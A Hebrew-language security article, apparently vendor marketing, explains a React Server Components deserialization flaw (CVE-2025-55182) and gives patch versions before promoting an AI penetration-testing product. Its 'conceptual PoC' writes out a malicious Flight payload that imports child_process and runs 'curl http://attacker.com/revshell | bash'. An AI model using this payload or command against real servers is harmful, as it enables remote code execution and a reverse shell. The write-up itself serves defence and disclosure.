מבוא: התמוטטות הגבול בין הלקוח לשרת
סוף שנת 2025 סימן שינוי פרדיגמטי באבטחת האינטרנט. עבור אדריכלי אבטחה ובודקי חדירות, CVE-2025-55182 (והגרסה שלו ב-Next.js CVE-2025-66478) מייצג את אחד מווקטורי התקיפה המתוחכמים ביותר בהיסטוריה האחרונה.
זו אינה שגיאת חיטוי פשוטה. זוהי פגם מהותי עמוק בתוך הלוגיקה של "עיבוד בצד השרת (RSC)". היא מאפשרת לתוקפים לא מאומתים לנצל את פגיעות בהפעלת קוד מרחוק ברכיבי שרת React/Next.js על ידי מניפולציה של פרוטוקול התקשורת הקנייני המשמש את המסגרת, תוך עקיפת אמצעי ההגנה המסורתיים כדי להריץ קוד שרירותי בשרת.
מאמר זה מסיר את כל ה"קישוטים" השיווקיים ומספק ניתוח ברמת בינארי של הפגיעות עבור מהנדסי אבטחה מובחרים.

המנגנון המרכזי: פירוק פרוטוקול ה"בריחה"
כדי לנצל את CVE-2025-55182, יש להבין כיצד React 19 ו-Next.js 14+ מתקשרים. בניגוד ל-REST/GraphQL המסורתיים, RSC משתמש בפורמט טקסט זורם המכונה פרוטוקול "טיסה".
מבנה מטען הטיסה
כאשר בודקים את תעבורת הרשת באפליקציית Next.js מודרנית, ה- מטען RSC נראה מסתורי, אך עוקב אחר תחביר קפדני:
JavaScript
// קטע טיפוסי מפרוטוקול טיסה 1:I["./src/components/ClientComponent.js",["chunks/main.js"],"default"] 2:{"props":{"title":"Dashboard","user":"$Sreact.suspense"},"children":"$1"}
1:I: מציין ייבוא. הוא מורה ללקוח/שרת לטעון מודול ספציפי.$: מציין הפניה.$1מתייחס למודול המוגדר בשורה 1.$S: מציין סמלים מיוחדים של React.
הגורם הבסיסי: דה-סריאליזציה עיוורת
הלב של CVE-2025-55182 טמון בטיפול השרת בהודעות נכנסות מהלקוח לשרת (פעולות שרת). ה- React Server DOM היישום סומך באופן מוחלט על זרם הטיסות הנכנס.
כאשר לקוח מפעיל פעולת שרת, הוא ממיר את הארגומנטים לפורמט Flight. השרת מקבל את זה ומפעיל שיטות פנימיות (כמו פתרון הפניה לשרת) אל לפרק הזרם.
הפגם הקטלני:
ה-deserializer נכשל באימות האם נתיב המודול בהוראת I (Import) נמצא ברשימת ההיתרים. הדבר מאפשר לתוקף לשנות נתיב תמים כמו ./src/button.js למודול ליבה פנימי של Node.js (לדוגמה, child_process) או לכל ספרייה אחרת הקיימת ב-node_modules.

שכפול וניתוח פגיעות (PoC קונספטואלי)
הצהרת אחריות: סעיף זה מיועד למטרות מחקר חינוכיות והגנה בלבד.
שרשרת התקפות מתוחכמת מתנהלת באופן הבא:
שלב 1: סיור
התוקף מזהה נקודות קצה RSC, לעתים קרובות על ידי תצפית בבקשות ל- /_next/static/chunks/app/page.js או ניתוח פעולה הבאה כותרות בבקשות POST.
שלב 2: הפיכת המטען לנשק
התוקף יוצר זרם Flight מותאם אישית. במקום אביזרי ממשק משתמש לגיטימיים, הוא מזריק שרשרת גאדג'טים.
לוגיקת מטען:
| בקשה סטנדרטית | בקשה זדונית (מטען RCE) |
|---|---|
הפניה: 1:I["./component.js"] | הפניה: 1:I["node:child_process"] |
פעולה: עיבוד ממשק המשתמש | פעולה: ביצוע פונקציה מיוצאת |
HTTP
POST /v1/action HTTP/1.1 Content-Type: text/x-component Next-Action:
// ייצוג פסאודו-קוד של ההזרקה 1:I["node:child_process", [], "execSync"] 2:{"command": "curl http://attacker.com/revshell | bash", "args": "$1"}`
שלב 3: ביצוע
- השרת מבצע דה-סריאליזציה
I["node:child_process"]. - הוא מבצע
require("child_process")בהקשר של השרת. - זה מעורר
execSyncעם טיעוני התוקף. - RCE הושג.
מדוע כלי אבטחה מסורתיים (WAF/DAST) נכשלים
עבור מהנדס אבטחה מנוסה, איתור תופעה זו הוא סיוט.
- עמימות פרוטוקול: WAFs רואים את נתוני ה-Flight כטקסט לא מובנה. כללי SQLi או XSS רגולריים סטנדרטיים לא יופעלו על מחרוזת ייבוא מודול כמו
1:I. - חשיפה ברירת מחדל: גם אם מפתח משתמש ב-Next.js רק ליצירת סטטי, הכללת ספריית RSC לעתים קרובות חושפת את נקודות הקצה הפגיעות של דה-סריאליזציה כברירת מחדל.
זהו דוגמה קלאסית של פגיעות בשרשרת האספקה—הפגם הוא במבנה, לא בהיגיון העסקי שלך.
הגנה מתקדמת ותפקידה של בינה מלאכותית סוכנתית
תיקון מיידי
תיקון הוא חובה. אל תסתמך על תוכנת אמצע "חיטוי", שכן הפרוטוקול מורכב מדי מכדי לנתח אותו באופן אמין באמצעות regex.
- להגיב: עדכון ל 19.2.1.
- Next.js: עדכון ל 14.2.21, 15.1.2, או הגרסה האחרונה של Canary.
העתיד של בדיקות חדירות: בינה מלאכותית סוכנתית
התמודדות עם נקודות תורפה כמו CVE-2025-55182 המנצלים לוגיקה של פרוטוקול קנייני, סורקים מסורתיים הם מיושנים. הם אינם יכולים "להבין" את Flight, ואינם יכולים לבנות זרמים תקפים מבחינה לוגית אך זדוניים.
זה המקום שבו Penligent.ai יוצר קטגוריה חדשה של הגנה. כפלטפורמה המופעלת על ידי בינה מלאכותית סוכנתית, Penligent מציעה יכולות שקשה לצוותים אנושיים להשיג:
- הבנה סמנטית של פרוטוקולים: סוכני ה-AI של Penligent מנתחים את מפרט React Flight באופן דינמי. הם מבינים את תחביר הפניות למודולים לעומת מאפייני נתונים.
- לוגיקה אדפטיבית Fuzzing: הסוכנים מייצרים אלפי מטענים מוטנטים, ובוחנים באופן ספציפי את תנאי הגבול של המפרק כדי למצוא דפוסים של גישה לא מורשית למודולים.
- אימות אוטומטי: Penligent עושה יותר מאשר רק לסמן "בעיה פוטנציאלית". הוא מנסה לבנות שרשראות הוכחת תפיסה בטוחות ולא הרסניות כדי לאמת אם RCE אכן אפשרי, ובכך למנוע תוצאות חיוביות כוזבות.
עבור ארגונים המגנים על תשתיות קריטיות, פריסת Penligent.ai מספק יכולות מתמשכות וחכמות של צוות אדום, המתפתחות מהר יותר מהתוקפים.
סיכום
CVE-2025-55182 זה יותר מבאג; זו תוצאה של טשטוש הגבולות בין הלקוח לשרת בפיתוח אתרים מודרני. ככל שאנו דוחפים לביצועים גבוהים יותר באמצעות RSC, שטח ההתקפה מתרחב לשכבת סידור הנתונים.
עבור מהנדסי אבטחה, שליטה בפרוטוקול Flight היא כעת דרישה הכרחית. בדקו את התלות שלכם, התקינו תיקונים באופן מיידי ושקלו אימות אבטחה מבוסס בינה מלאכותית כדי להישאר צעד אחד קדימה.
הפניות לסמכות:

